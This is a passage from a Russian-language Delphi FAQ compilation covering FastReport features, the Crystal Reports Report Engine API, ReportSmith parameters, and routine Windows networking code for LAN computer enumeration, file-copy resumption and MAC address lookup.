представляет собой продукт деятельности ядра FastReport - то, что мы видим при нажатии кнопки "Предварительный просмотр". В отличие от остальных генераторов отчетов, которые хранят содержимое страниц отчета в виде метафайла (т.е. изображения в формате EMF), в FastReport готовый отчет представлен набором объектов, описывающих содержимое каждой страницы отчета. Это позволяет модифицировать готовый отчет, загружая нужную страницу в дизайнер. Кроме того, можно описывать реакцию на щелчок мыши на нужном объекте в режиме предварительного просмотра отчета. Это позволяет легко организовать работу приложения, при которой щелчок на объекте отчета вызывает генерацию нового отчета с более детальными сведениями по выбранному объекту.
Кроме того, ни один из существующих сегодня генераторов отчетов не поддерживает такое число сред разработки (Можно сказать, что мы заглядываем в рот Borland и стараемся выпустить генератор отчетов под любую новую версию их сред разработки :-) ). Итак, FastReport сегодня можно использовать в средах: Delphi со второй по 7ю версию, C++Builder всех версий, а также в первой визуальной среде разработки приложений под Linux - Kylix всех версий. Можем похвастаться, что это наша компания выпустила первый генератор отчетов для Kylix, Rave, который сейчас поставляется с новыми версиями продуктов Borland, в том числе и Kylix3, был выпущен примерно на полгода позже. :-)
Естественно, было бы глупо останавливаться на достигнутом. На сегодня разрабатывается принципиально новая версия генератора отчетов, который станет ядром для целого спектра продуктов, предназначенных как для профессиональных разработчиков, причем не только в средах разработки Borland, так и для конечных пользователей.

Что же еще новенького планируется?
· Формат сохранения файлов - текстовый и бинарный dfm, а также XML
· Новый объект - диагональная линия.
· Новые типы заливки для объектов.
· Текст под углом 0..360.
· Отступ параграфа.
· Возможность отключения печати объектов отчета.
· Наследование форм отчетов.
· Возможность отключить редакторы св-в и компонентов, если дизайнер не используется.
Скрипт
· Единый скрипт для всего отчета (как unit в Delphi).
· Поддержка синтаксиса как Pascal, так и C++ в скриптовом языке
· Новые обработчики событий для объектов отчета.
· Новые возможности (try/except, with, case и т.п.)
· Увеличенная (в сравнении с FR2.4) скорость работы.
Дизайнер:
· Архитектура - компактное независимое ядро + интерфейс.
· Улучшенный интерфейс, возможность докинга вспомогательных окон.
· Улучшенный Инспектор объектов
· Масштабирование (Zoom).
· Редактирование мемо-объектов на месте.
· Более удобное рисование линий.
· Более удобная вставка бэндов.
· Бэнды, "прилипающие" друг к другу.
· Более удобный выбор поля БД для мемо-объекта.
· Возможность отображать содержимое поля БД вместо его названия.
· Сетка-миллиметровка, дюймовка, с произвольным шагом.
· Возможность построения отчетов для вывода на матричный принтер.
· Изменение левой/правой границ листа (объекты сдвигаются автоматически).
· Мастера для создания базовых типов отчетов.
· Копирование объектов в буфер обмена Windows.
· Полный откат / возврат (Undo/Redo).
Глобальный словарь данных:
· Задание имен (алиасов) для всех таблиц и полей, содержащихся в БД проекта.
· Автоматическая подстановка алиасов во всех диалоговых окнах FR.
Предварительный просмотрщик:
· Улучшенный интерфейс.
· Редактирование на месте.
· События, генерируемые на сформированном отчете могут быть обработаны в скрипте.
· Выделение объектов и копирование в буфер обмена.
Дополнительные объекты:
· Добавить свой объект проще, чем когда бы то ни было.

Взято с http://delphiworld.narod.ru


Crystal Reports 8.0 через API

Автор: Андрей Зубарев
Специально для Королевства Delphi

Вступление

Crystal Reports (далее как CR) на сегодняшний день является лидирующим пакетом для разработки отчетности в крупных компаниях. Для доступа к отчетам компания Seagate предоставляет несколько вариантов:

Элемент управления Crystal ActiveX
Компонент Report Designer Component
Компоненты VCL сторонних разработчиков.
Automation Server
Вызовы API реализуются через Report Engine API (далее RE).
По моему мнению, лучшим является доступ посредством API функций, т.к.:

вы полностью контролируете все, что происходит.
узнаете, как все это работает.
не зависите от фирмы разработчика компонент и их версий.
не платите денег (хотя этот момент расплывчат J).
В 90% случаев необходимо только вывести отчет и передать входящие параметры, т.е. вы получаете "тонкое" приложения на основе своих же наработок, что согласитесь, греет душу программиста. Предполагается, что читатель знаком с работой в Crystal Reports и понимает концепцию разработки отчетов в данной среде.

Примечание Vit: позволю себе внести поправку, фирма Seagate имеет свой собственный VCL компонент для работы со всеми версиями Crystal Report начиная с 4й и заканчивая 9й. К сожалению разработка VCL компонента обычно задерживается на пол-года, а иногда и дольше со времени выхода очередного релиза. Мне доводилось не однократно самому переделывать компонент от старой версии для более новой и обычно это не очень сложная задача. Компонент можно взять с FTP Seagate.

Необходимые файлы

Библиотека [crpe32.dll] содержит интерфейс вызовов API функций.
Модуль [uCrystalApi.pas] с описаниями API функций. Он был подправлен мной, так как было несколько синтаксических ошибок.
Для работы примера необходим источник данных, в качестве которого используется демонстрационная БД MS Access 2000 [source_db.mdb]. В качестве драйвера связи используется OLE DB для MS Jet 4.0. БД должна находиться в той же папке, где и пример отчета.
Если вы хотите распространять ваше приложение с отчетами, тогда ознакомьтесь с содержимым файла [crpe32.dep], который содержит список необходимых файлов для работы RE.
Пример реализован на Delphi 6.0.
Программируем

Первым надо "запустить машину" CR, посредством вызова функции PEOpenEngine для инициализации механизма отчетов. Надо заметить, что вызов данной функции справедлив только для одного потока.

Теперь можно и начать подготовку отчета для вывода. Вызов PEOpenPrintJob дает нам дескриптор задачи (отчета), который необходимо передавать в другие функции.

// Синтаксис функции
PEOpenPrintJob(PathToReport: PChar): SmallInt;
{
где,
PathToReport - путь к файлу отчета.
Результат функции - дескриптор полученной задачи.
Пример:
FHandleJob := PEOpenPrintJob(PChar(edtPathReport.Text));
}

Получив дескриптор, мы можем, манипулировать отчетом как нам будет угодно. Получать информацию о параметрах, об источнике данных, управлять разделами отчета и формулами.

Далее необходимо сказать системе, куда выводить отчет: в окно предварительного просмотра (…ToWindow) или на принтер (…ToPrinter).

// Синтаксис функций:
PEOutputToWindow(printJob : Smallint; title: PChar;
left: Integer; top: Integer;
width: Integer; height: Integer;
style: DWord;
parentWindow : HWnd): Bool;

PEOutputToPrinter(printJob: Word;
nCopies: Integer)): Bool;
{
где,
printJob - дескриптор задачи
title - заголовок окна
left, top, width, height - координаты окна
style - стиль окна (типа WS_VSCROLL, WS_VISIBLE и т.д.)
parentWindow - дескриптор окна в котором будет окно отчета.
nCopies - количество копий.
Пример:
Result:= PEOutputToWindow(FHandleJob,
PChar(TForm(Self).Caption),
0, 0, 0, 0, 0, FWindow);
}

Подготовив механизм вывода отправляем отчет для вывода функцией PEStartPrintJob.

// Синтаксис функции:
function PEStartPrintJob(printJob: Word;
waitUntilDone: Bool): Bool;
{
где,
printJob - дескриптор задачи.
WaitUntilDone - зарезервирован. Всегда должен быть True.
Пример:
PEStartPrintJob(FHandleJob, True);
}

После отправки отчета, если не надо производить с ним операций, закрываем задание функцией PEClosePrintJob.

// Синтаксис функции:
function PEClosePrintJob (printJob: Word): Bool;
{
где,
printJob - дескриптор задачи.
Пример:
PEClosePrintJob(FHandleJob);
}

Между вызовами функций PEOpenPrintJob и PEClosePrintJob может стоять сколько угодно вызовов функций PEOutputTo…, PEStartPrintJob.

В итоге получается схема вызовов:

PEOpenEngine
|
PEOpenPrintJob
|
PEOutputToWindow
|
PEStartPrintJob
|
PEClosePrintJob
|
PECloseEngine

Пример просмотра отчета

Ниже приведен код процедуры для просмотра отчета из примера

procedure TFrmMain.btnReportPreviewClick(Sender: TObject);
var
  // Дескриптор окна в котором производится просмотр отчета
  FWindow: THandle;
  // Информация об источнике данных.
  // См. раздел "Получение параметров и свойств источника"
  lt: PELogOnInfo;
begin
  // В зависимости от флага устанавливаем дескриптор окна.
  // При нуле, отчет будет показан в независимом внешнем окне.
  if chkWindow.Checked then
    FWindow := 0
  else
    FWindow := pnlPreview.Handle;
  // Открываем отчет и получаем дескриптор задачи.
  FHandleJob := PEOpenPrintJob(PChar(edtPathReport.Text));
  // Получение параметров источника данных отчета.
  FillChar(lt, SizeOf(PELogOnInfo), 0);
  lt.StructSize := SizeOf(PELogOnInfo);
  PEGetNthTableLogOnInfo(FHandleJob, 0, lt);
  // Устанавливаем новые параметры источника данных отчета.
  StrPCopy(@lt.ServerName, ExtractFilePath(edtPathReport.Text) +
    'source_db.mdb');
  PESetNthTableLogOnInfo(FHandleJob, 0, lt, False);
  // Настраиваем окно вывода.
  PEOutputToWindow(FHandleJob, PChar(TForm(Self).Caption), 0, 0, 0, 0, 0,
    FWindow);
  // Выводим отчет.
  PEStartPrintJob(FHandleJob, True);
  // Закрываем дескриптор задания.
  PEClosePrintJob(FHandleJob);
end;

Получение и установка свойств источника

Теперь когда мы научились выводить отчет, расширим наши познания в области манипуляций отчетом, такими как получение параметров отчета и свойств источника данных.

Свойства источника данных можно получить или установить через функции PEGetNthTableLogOnInfo и PESetNthTableLogOnInfo. Здесь надо отметить довольно тонкий момент, связанный с обработкой данных в CR. Источником данных может выступать любая СУБД как файловая, так и серверная, текстовый файл и т.п. В свою очередь к примеру из серверной СУБД данные можно получить через хранимую процедуру (stored procedure), представление (view), таблицу (table) или через набор таблиц которые обрабатываются уже внутри отчета. Поэтому используются различные API функции зависящие от возможностей источника.

Обратите внимание на название в именах функций - сокращение Nth обозначает, что функция вызывается для определенной таблицы.

Получение свойств через функцию довольно просто. Описываем структуру данных, передаем дескриптор задачи и порядковый номер таблицы. После вызова функции получаем заполненную структуру параметров.

// Синтаксис функции:
function PEGetNthTableLogOnInfo
(printJob: Word;
tableN: Integer;
var logOnInfo: PELogOnInfo): Bool;
{
где,
printJob - дескриптор задачи.
tableN - номер таблицы.
location - струкура со свойствами источника.
Пример:
PEGetNthTableLogOnInfo(FHandleJob, 0, lt);
}

Структура PELogOnInfo содержит свойства источника. Перед ее передачей в функцию обязательно заполните поле StructSize. Например:

// Чистим структуру.
FillChar(lt, SizeOf(PELogOnInfo), 0);
// Заполняем поле размера.
lt.StructSize := SizeOf(PELogOnInfo);
// Вызываем функцию для таблицы с порядковым номером 0 (ноль)
PEGetNthTableLogOnInfo(FHandleJob, 0, lt);

Описание структуры:

type
PELogonServerType = array[0..PE_SERVERNAME_LEN - 1] of Сhar;
PELogonDBType = array[0..PE_DATABASENAME_LEN - 1] of Сhar;
PELogonUserType = array[0..PE_USERID_LEN - 1] of Сhar;
PELogonPassType = array[0..PE_PASSWORD_LEN - 1] of Сhar;
PELogOnInfo = record
StructSize: Word;
ServerName: PELogonServerType;
DatabaseName: PELogonDbType;
UserId: PELogonUserType;
Password: PELogonPassType;
end;
{
где,
StructSize - размер структуры.Заполняется обязательно.
ServerName - имя сервера или путь к файлу БД.
DatabaseName - имя БД.
UserId - пользователь.
Password - пароль пользователя.
}

Функция установки параметров PESetNthTableLogOnInfo аналогично предыдущей (в смысле параметров, а действует наоборот - устанавливает новые свойства источника). У данной функции есть один дополнительный логический параметр propagateAcrossTables, который указывает как обработать информацию из структуры PELogOnInfo. Если значение параметра TRUE, тогда свойства из структуры применяются для всех таблиц в отчете, иначе только для таблицы с с номером tableN. Например:

// Скопировать в поле ServerName путь к БД отчета.
StrPCopy(@lt.ServerName, ExtractFilePath(edtPathReport.Text) + 'source_db.mdb');
// Установить параметры для таблицы 0 и только для нее.
PESetNthTableLogOnInfo(FHandleJob, 0, lt, False);

Получение параметров отчета

Теперь о том как получить параметры отчета с помощью которых производится управление.

Используя PEGetNParameterFields вы получаете общее количество параметров в отчете. Передавая в функцию PEGetNthParameterField порядковый номер параметра получаем структуру с данными об имени, размере, значениях и т.п. Функция PEConvertPFInfoToVInfo позволяет получить значение параметра.

Функция PEGetNParameterFields имеет только один параметр - дескриптор задачи, в результате возвращается количество параметров. В примере показано как работать с параметрами:

var
  ParameterInfo: PEParameterFieldInfo;
  ValueInfo: PEValueInfo;
...

// Получить количество параметров.
CountParams := PEGetNParameterFields(FHandleJob);
if CountParams <> -1 then
begin
  for i := 0 to CountParams - 1 do
  begin
    // Запросить информацию о параметре i.
    PEGetNthParameterField(FHandleJob, i, ParameterInfo);
    ValueInfo.ValueType := ParameterInfo.valueType;
    // Получить значение параметра.
    PEConvertPFInfoToVInfo(@ParameterInfo.DefaultValue,
      ValueInfo.ValueType,
      ValueInfo);
    ...
  end;
end;

Описания структур довольно большие, поэтому я опишу только те поля которые используются в примере.

ParameterInfo.Name // - имя параметра.
ParameterInfo.ValueType // - тип данных параметра.
ParameterInfo.DefaultValue // - значение по умолчанию.

Структура ValueInfo содержит в одном из своих полей значение параметра. Вы можете посмотреть в примере функцию FormatCrystalValue, чтобы разобраться с полями структуры.

Заключение

Дополнительные сведения о программировании с использованием API вы может посмотреть в справочных файлах, которые идут с CR (PROGRAM FILES\SEAGATSOFTWARE\CRYSTAL REPORTS\DEVELOPER FILES\HELP\), файлы DEVELOPR.HLP и RUNTIME.HLP. Если их у вас нет, то скачайте с FTP сервера Seagate.

В будущем я надеюсь развить тему CR более углубленно, но это зависит от интереса читателей и наличия времени :-).

Взято с http://delphiworld.narod.ru


Передача переменной в отчет ReportSmith

Следующий код показывает, как передать переменную в отчет.

В примере строковой переменной отчета 'City' присваивается значение ('Bombey').
Подразумевается, что есть готовый отчет с данной переменной.

Поместите компонент TReport на форму и установите требуемые свойства для вызова
печати отчета.

Напишите обработчик OnClick для кнопки Button1 на форме
(кнопка - для простоты) :

procedure TForm1.Button1Click(Sender: TObject);
var s: string;
begin
  s:='CA';
  Report1.InitialValues.Add('@state=<'+s+'>');
  Report1.run;
end;

Источник: http://dmitry9.nm.ru/info/


Работа с сетью, интернетом, протоколами

Cодержание раздела:

Общие вопросы работы в сети, домены, workgroups, workstations

Протоколы
· Работа с TCP/IP (раздел)
· Работа с Ping (раздел)
· Работа с HTTP (раздел)
· Работа с FTP (раздел)
· Работа с ICQ (раздел)
· Работа с Telnet (раздел)
· Работа с ARP (раздел)
· Работа с SSH (раздел)

Работа с Email
· Как отправить Email? (раздел)
· Проверка правильности E-mail адреса
· Найти smtp mailserver по умолчанию?

Создание Web приложений
· Создание CGI приложений (раздел)
· Понимание многопоточности в VCL для веб-серверных ISAPI-расширений
· Создание Active Server Page (ASP) приложений (Статья)
· Кириллица в параметрах CGI-запроса
· How to debug an Apache Shared Module
· How to turn off ISAPI DLL caching on Windows 2000 and IIS5

Работа с IE, интерфейсами WebBrowser
· Как взять URL из окна IE?
· Что из себя представляет TWebBrowser?
· Где можно найти документацию на WebBrowser?
· Как сохранить веб страничку в bitmap?
· Как сохранить веб страничку в jpg?
· Как производить Печать?
· Как вызвать команды Find, Option или View Source?
· Как работать со всеми фреймами, отображёнными в данный момент в WebBrowser?
· Кобинации клавиш Ctrl-C, Ctrl-O, и т.д. не срабатывают. В чём проблема?
· Как работать со всеми ячейками < TABLE> ?
· Как получить полный исходник HTML?
· Как сделать WebBrowser плоским вместо 3D?
· Как получить POST данные?
· Как использовать протокол about?
· Как использовать протокол res?
· Как запретить всплывающее меню при нажатии правой книпки мыши?
· Как загрузить строковые данные в WebBrowser не прибегая к открытию файла?
· Как загрузить потоковые(stream) данные в WebBrowser не прибегая к открытию файла?
· Что такое DOM?
· Как добраться до конкретного фрейма?
· Как добавить пункт в контекстное меню IE?
· Как добавить кнопку в панель инструментов IE?
· Как очистить кэш в IE?
· Как добавить Cookies?
· Как получить активный URL из браузера?
· Связка ActiveX - Internet Explorer
· Как открыть HTML-файл в стандартном браузере?
· Как сохранить исходник HTML из TWebBrowser.Document на диск?
· Как выполнить Javascript функцию?
· Как проверить является ли текущее соединение в TWebbrowser secure (SSL)?
· Как нажать кнопку в TWebbrowser когда в окне есть несколько кнопок?
· Как автоматически заполнить поля формы в IE?
· Как узнать версию Internet Explorer?
· Найти и выделить текст в TWebBrowser?
· Как загрузить HTML код непосредственно в TWebbrowser?
· Как добавить текущую страницу TWebbrowser в favorites?
· Как прочитать/изменить startpage IE?
· Как скрыть контекстное меню TWebbrowser?
· Использоватние Drag and Drop для заполнения полей в TWebBrowser?
· Как определить установлен ли Internet Explorer?
· Как узнать browser по умолчанию?
· Как узнать путь к браузеру по умолчанию?
· Работа с печатью в TWebBrowser
· Как получить handle на editbox в Internet Explorer?
· Как прочитать выделенный текст из IE? New!
· Как сохранить все картинки TWebbrowser? New!
· Create a TWebBrowser at Runtime? New!
· Save all TWebbrowser Frame Sources? New!
· Перехват сообщений IE New!
· RadioButtons in a TWebbrowser New!
· Узнать информацию о прокси сервере New!
· How to add alternative text to a Webbrowser image? New!
· Как найти и выделить текст TWebBrowser? New!
· Добавить HTML к TWebbrowser Document? New!
· Навигация в TWebbrowser по линкам New!
· Как вызвать скрытые команды TWebBrowser? New!
· Читать значения переменных из JavaScript? New!
· Как обновить все окна Internet Explorer? New!
· Как перевести TWebBrowser в режим редактирования (дизайна)? New!
· Получить или установить задний фон в TWebBrowser New!
· Как получить текст HTML Документа из TWebBrowser без тегов New!
· Скопировать, удалить, вставить в TWebBrowser New!
· Как сделать WebBrowser средствами Delphi? New!
· Удалить временные файлы IE New!

Работа с HTML, клиентскими скриптами
· Как получить TextRange страницы без фреймов?
· Как переделать TLabel в URL
· Удаление HTML элементов из текста
· WEB страничка внутри Delphi приложения
· Как преобразовать шестнадцатиричный цвет HTML в TColor?
· Как распечатать WEB страничку при помощи HTML контрола?
· Как получить цвет строки в HTML формате?
· GIF для HTML в EXE New!
· Как получить цвет строки в HTML формате New!
· Компонента HTML - редактора New!
· HTMLEditor - Краткий обзор New!

Работа с сокетами
· Что такое сокет?
· Как передать картинку по сети через ServerSocket?
· Как запросить страницу с сайта?
· Посылка Raw IP-пакетов
· Как послать широковещательный UDP пакет?
· Простой способ отправки файлов при помощи TClientSocket/TServerSocket
· Как отправить вебформу на сервер?
· Использование компонента TServerSocket
· Программирование серверов на основе сокетов в Дельфи
· Определить, занят ли порт сокета
· Где TServerSocket и TClientSocket в Delphi 7?
· Использование WSAAsyncSelect в DLL

Работа с интернетом
· Соединение с интернетом (раздел)
· Как проверить существование URL?
· Как скачать любой URL используя стандартные настройки сети?
· Обзор компонентов InternetExpress
· Где взять примеры использования Indy?
· Как загрузить webpage с скрытым IP? New!
· Использование Internet-функций Win32 API (статья) New!

См. также другие разделы:
Модем

См. также статьи в других разделах:
Использование BDE в сети
Использование BDE приложений в Peer-To-Peer сети


Общие вопросы работы в сети, домены, workgroups, workstations

Cодержание раздела:

Как узнать, подключён ли компьютер к сети?
Докачка файлов по сети ( NetBios )
Как найти все комьютеры в сети?
Как определить MAC адрес NIC?
Формулы передачи данных для начинающих
Получение файла из сети
Как узнать имя домена Windows NT/2000? Updated!
Как узнать имя компьютера?
Как узнать имя пользователя?
Как расшарить диск?
Подключение сетевого диска
Создание Аккаунта в Windows, используя ADSI (Активные директории)
Библиотека для работы с LAN
Как выключить удалённый компьютер?
Как синхронизировать время на 2х компьютерах?
Сканирование доменов локальной сети
Получить список процессов в компьютере сети New!
Как изменить пароль для указанной сети или домена? New!
Как получить primary domain controller (PDC)? New!
Описание протокола DNS New!
Получить список пользователей, подключённых к сети New!
Получение имени пользователя и домена New!
Получение IP адресов всех компьютеров в рабочей группе New!
Демонстрационная программа сканирования сети New!
Демонстрационная программа получения информации о компьютере по IP New!


Как узнать, подключён ли компьютер к сети?

procedure TForm1.Button1Click(Sender: TObject);
begin
  if GetSystemMetrics(SM_NETWORK) and $01 = $01 then
    ShowMessage('Computer is attached to a network!')
  else
    ShowMessage('Computer is not attached to a network!');
end;

Взято из http://forum.sources.ru


Докачка файлов по сети ( NetBios )

Мне вот все интересно было...думал проги, которые файлы по сети докачивают как-то хитро с нетбиосом работают...И вот решил попробовать написать нечто подобное...Токо похоже все они ( проги ) про нетбиос и слыхом не слыхивали...нашел простейшее решение этой проблемы...
Код некрасивый, потому как писал чисто для проверки...более того, тут надо переписать его весь, но общий смысл должен быть понятен...я разочарован :((

procedure TForm1.Button1Click(Sender: TObject);
var
  Stream,
    Stream1: TFileStream;
  Temp: array[0..$FFFF] of Byte;
  Access: Integer;
  FileNames, Filenames1: string;
begin
  with TOpenDialog.Create(Form1) do
    begin
      Execute;
      FileNames:=FileName;
      Free;
    end;
  if Filenames='' then Exit;
  with TSaveDialog.Create(Form1) do
    begin
      Execute;
      FileNames1:=FileName;
      Free;
    end;
  if Filenames1='' then Exit;
  Access:=fmOpenReadWrite;
  ZeroMemory(@Temp, sizeof(Temp));
  Stream:=TFileStream.Create(FileNames, fmOpenRead);
  if not FileExists(Filenames1) then Access:=fmCreate;
  Stream1:=TFileStream.Create(Filenames1, Access);

  Gauge1.MaxValue:=Stream.Size;
  Stream.Position:=Stream1.Size;
  Stream1.Position:=Stream1.Size;
  Label1.Caption:=IntToStr(Stream1.Position);
  Label2.Caption:=IntToStr(Stream.Size);
  Gauge1.Progress:=Stream.Position;
  while Stream.Size<>Stream1.Size do
    begin
      if (Stream.Size-Stream1.Position)<sizeof(Temp) then
        begin
          Stream1.CopyFrom(Stream, Stream.Size-Stream1.Position);
        end
      else
        Stream1.CopyFrom(Stream, sizeof(Temp));
      Gauge1.Progress:=Stream.Position;
      Label1.Caption:=IntToStr(Stream.Position);
      Label2.Caption:=IntToStr(Stream.Size);
      Form1.Update;
      Application.ProcessMessages;
    end;
  Stream.Free;
  Stream1.Free;
end;

Взято с Vingrad.ru http://forum.vingrad.ru


Как найти все комьютеры в сети?

Cодержание раздела:

Способ 1
Способ 2
Способ 3
Способ 4


Способ 1

Как найти все комьютеры в сети?
Previous Top Next

unit FindComp;

interface

uses
 Windows, Classes;

function FindComputers: DWORD;

var
 Computers: TStringList;

implementation

uses
 SysUtils;

const
 MaxEntries = 250;

function FindComputers: DWORD;

var
 EnumWorkGroupHandle, EnumComputerHandle: THandle;
 EnumError: DWORD;
 Network: TNetResource;
 WorkGroupEntries, ComputerEntries: DWORD;
 EnumWorkGroupBuffer, EnumComputerBuffer: array[1..MaxEntries] of TNetResource;
 EnumBufferLength: DWORD;
 I, J: DWORD;

begin

 Computers.Clear;

 FillChar(Network, SizeOf(Network), 0);
 with Network do
 begin
   dwScope := RESOURCE_GLOBALNET;
   dwType := RESOURCETYPE_ANY;
   dwUsage := RESOURCEUSAGE_CONTAINER;
 end;

 EnumError := WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_ANY, 0, @Network, EnumWorkGroupHandle);

 if EnumError = NO_ERROR then
 begin
   WorkGroupEntries := MaxEntries;
   EnumBufferLength := SizeOf(EnumWorkGroupBuffer);
   EnumError := WNetEnumResource(EnumWorkGroupHandle, WorkGroupEntries, @EnumWorkGroupBuffer, EnumBufferLength);

   if EnumError = NO_ERROR then
   begin
     for I := 1 to WorkGroupEntries do
     begin
       EnumError := WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_ANY, 0, @EnumWorkGroupBuffer[I], EnumComputerHandle);
       if EnumError = NO_ERROR then
       begin
         ComputerEntries := MaxEntries;
         EnumBufferLength := SizeOf(EnumComputerBuffer);
         EnumError := WNetEnumResource(EnumComputerHandle, ComputerEntries, @EnumComputerBuffer, EnumBufferLength);
         if EnumError = NO_ERROR then
           for J := 1 to ComputerEntries do
             Computers.Add(Copy(EnumComputerBuffer[J].lpRemoteName, 3, Length(EnumComputerBuffer[J].lpRemoteName) - 2));
         WNetCloseEnum(EnumComputerHandle);
       end;
     end;
   end;
   WNetCloseEnum(EnumWorkGroupHandle);
 end;

 if EnumError = ERROR_NO_MORE_ITEMS then
   EnumError := NO_ERROR;
 Result := EnumError;

end;

initialization

 Computers := TStringList.Create;

finalization

 Computers.Free;

end.

Взято с Vingrad.ru http://forum.vingrad.ru


Способ 2

Как найти все комьютеры в сети?
Previous Top Next

function TNetForm.FillNetLevel(xxx: PNetResource; List:TListItems): Word;
Type
    PNRArr = ^TNRArr;
    TNRArr = array[0..59] of TNetResource;
Var
   x: PNRArr;
   tnr: TNetResource;
   I : integer;
   EntrReq,
   SizeReq,
   twx: THandle;
   WSName: string;
   LI:TListItem;
begin
     Result :=WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_ANY,RESOURCEUSAGE_CONTAINER, xxx, twx);
     If Result = ERROR_NO_NETWORK Then Exit;
     if Result = NO_ERROR then
     begin
            New(x);
            EntrReq := 1;
            SizeReq := SizeOf(TNetResource)*59;
            while (twx <> 0) and
                  (WNetEnumResource(twx, EntrReq, x, SizeReq) <> ERROR_NO_MORE_ITEMS) do
            begin
                  For i := 0 To EntrReq - 1 do
                  begin
                   Move(x^[i], tnr, SizeOf(tnr));
                   case tnr.dwDisplayType of
                    RESOURCEDISPLAYTYPE_SERVER:
                    begin
                       if tnr.lpRemoteName <> '' then
                           WSName:= tnr.lpRemoteName
                           else WSName:= tnr.lpComment;
                       LI:=list.Add;
                       LI.Caption:=copy(WSName,3,length(WSName)-2);
                       //list.Add(WSName);
                    end;
                    else FillNetLevel(@tnr, list);
                   end;
                  end;
            end;
            Dispose(x);
            WNetCloseEnum(twx);
     end;
end;

Пример вызова:
FillNetLevel(nil,ListView1.Items);

Автор: Pegas

Взято с Vingrad.ru http://forum.vingrad.ru


Способ 3

Как найти все комьютеры в сети?
Previous Top Next

function EnumerateFunc( hwnd: HWND; hdc: HDC; lpnr: PNetResource ): Boolean;
const
 cbBuffer : DWORD    = 16384;      // 16K is a good size
var
 hEnum, dwResult, dwResultEnum : DWORD;
 lpnrLocal : array
       [0..16384 div SizeOf(TNetResource)] of TNetResource;    // pointer to enumerated structures
 i : integer;
 cEntries : Longint;
begin
 centries := -1;      // enumerate all possible entries

 // Call the WNetOpenEnum function to begin the enumeration.
 dwResult := WNetOpenEnum(
                         RESOURCE_CONTEXT,  // Enumerate currently connected resources.
                         RESOURCETYPE_DISK, // all resources
                         0,                 // enumerate all resources
                         lpnr,              // NULL first time the function is called
                         hEnum              // handle to the resource
                         );

 if (dwResult <> NO_ERROR) then
 begin
   // Process errors with an application-defined error handler
   Result := False;
   Exit;
 end;

 // Initialize the buffer.
 FillChar( lpnrLocal, cbBuffer, 0 );

 // Call the WNetEnumResource function to continue
 //  the enumeration.
 dwResultEnum := WNetEnumResource(hEnum,           // resource handle
                                 DWORD(cEntries),  // defined locally as -1
                                 @lpnrLocal,       // LPNETRESOURCE
                                 cbBuffer);        // buffer size

 // This is just printing
 for i := 0 to cEntries - 1 do
 begin
   // loop through each structure and
   // get remote name of resource... lpnrLocal[i].lpRemoteName)
 end;

 // Call WNetCloseEnum to end the enumeration.
 dwResult := WNetCloseEnum(hEnum);

 if(dwResult <> NO_ERROR) then
 begin
   // Process errors... some user defined function here
   Result := False;
 end
 else
   Result :=  True;
end;

Код вроде бы из борландовского FAQ. На форуме приведен SmaLL

Взято с Vingrad.ru http://forum.vingrad.ru


Способ 4

Как найти все комьютеры в сети?
Previous Top Next

Вот решение приведенное на http://delphi.mastak.ru для нахождения всех компютеров:

var
  Computer: array[1..500] of string[25];
  ComputerCount: Integer;

procedure FindAllComputers(Workgroup: string);
var
  EnumHandle: THandle;
  WorkgroupRS: TNetResource;
  Buf: array[1..500] of TNetResource;
  BufSize: Integer;
  Entries: Integer;
  Result: Integer;
begin
  ComputerCount := 0;
  Workgroup := Workgroup + #0;
  FillChar(WorkgroupRS, SizeOf(WorkgroupRS), 0);
  with WorkgroupRS do
    begin
      dwScope := 2;
      dwType := 3;
      dwDisplayType := 1;
      dwUsage := 2;
      lpRemoteName := @Workgroup[1];
    end;
  WNetOpenEnum(RESOURCE_GLOBALNET,
    RESOURCETYPE_ANY,
    0,
    @WorkgroupRS,
    EnumHandle);
  repeat
    Entries := 1;
    BufSize := SizeOf(Buf);
    Result :=
      WNetEnumResource(EnumHandle,
      Entries,
      @Buf,
      BufSize);
    if (Result = NO_ERROR) and (Entries = 1) then
      begin
        Inc(ComputerCount);
        Computer[ComputerCount] := StrPas(Buf[1].lpRemoteName);
      end;
  until (Entries <> 1) or (Result <> NO_ERROR);
  WNetCloseEnum(EnumHandle);
end; { Find All Computers }

Взято с Vingrad.ru http://forum.vingrad.ru


Как определить MAC адрес NIC?

Вот на что наткнулся в одном из ФАКов:

Вариант1:
From : Sergey Gazimagomedov 2:453/11.13
Мне нужен был МАС адpес, так я его получал, пользуясь NetBIOS.
Добавляешь имя NetBIOS и посылаешь на имя станции, нужной для опpеделения(можно
и своей) датагpамный пакет с заполненным NCB.
Вот исходник моей функции для опpеделения МАС адpеса.

UCHAR MYLIBAPI GetAdapterID(char *Name, // NetBIOS ??? ???????
UINT lana_num,
CARDID *ID) // 6 ???????? ??????
{
UCHAR rc = 0;
UCHAR Status[256];
while( lstrlen(Name) - 15)
lstrcat(Name, " ");
memset(&SNcb, 0, sizeof(NCB));
SNcb.ncb_command = NCBASTAT;
SNcb.ncb_buffer = (LPSTR)Status;
SNcb.ncb_length = 256;
lstrcpy(SNcb.ncb_callname, Name);
SNcb.ncb_lana_num = lana_num;
rc = Netbios( &SNcb );
if(rc ==0){
memcpy(ID, Status, 6);
}
return(SNcb.ncb_cmd_cplt);
}

Это под Win32. Конечно должен быть пpотокол NetBIOS, но он в фоpточках и так
необходим.

Взято с Vingrad.ru http://forum.vingrad.ru

Вариант2:
From : Alexey Grachyov

#include
#include
#include
#include
#include
void main()
{
int iAdapters,iOpt=sizeof(iAdapters),iSize=sizeof(SOCKADDR_IPX);
SOCKET skNum;
SOCKADDR_IPX Addr;
WSADATA Wsa;
if(WSAStartup(0x0101,&Wsa)) return;
if((skNum=socket(AF_IPX,SOCK_DGRAM,NSPROTO_IPX))!=INVALID_SOCKET)
{
memset(&Addr,0,sizeof(Addr));
Addr.sa_family=AF_IPX;
if(bind(skNum,(SOCKADDR *)&Addr,iSize)!=SOCKET_ERROR)
{
if(getsockopt(skNum,NSPROTO_IPX,IPX_MAX_ADAPTER_NUM,
(char *)&iAdapters,&iOpt)!=SOCKET_ERROR)
{
while(iAdapters)
{
IPX_ADDRESS_DATA Data;
memset(&Data,0,sizeof(Data));
Data.adapternum=iAdapters-1;
iOpt=sizeof(Data);
if(getsockopt(skNum,NSPROTO_IPX,IPX_ADDRESS,(char
*)&Data,&iOpt)!=SOCKET_ERROR)
{
printf("Addr: %02X%02X%02X%02X:%02X%02X%02X%02X%02X%02X\n",
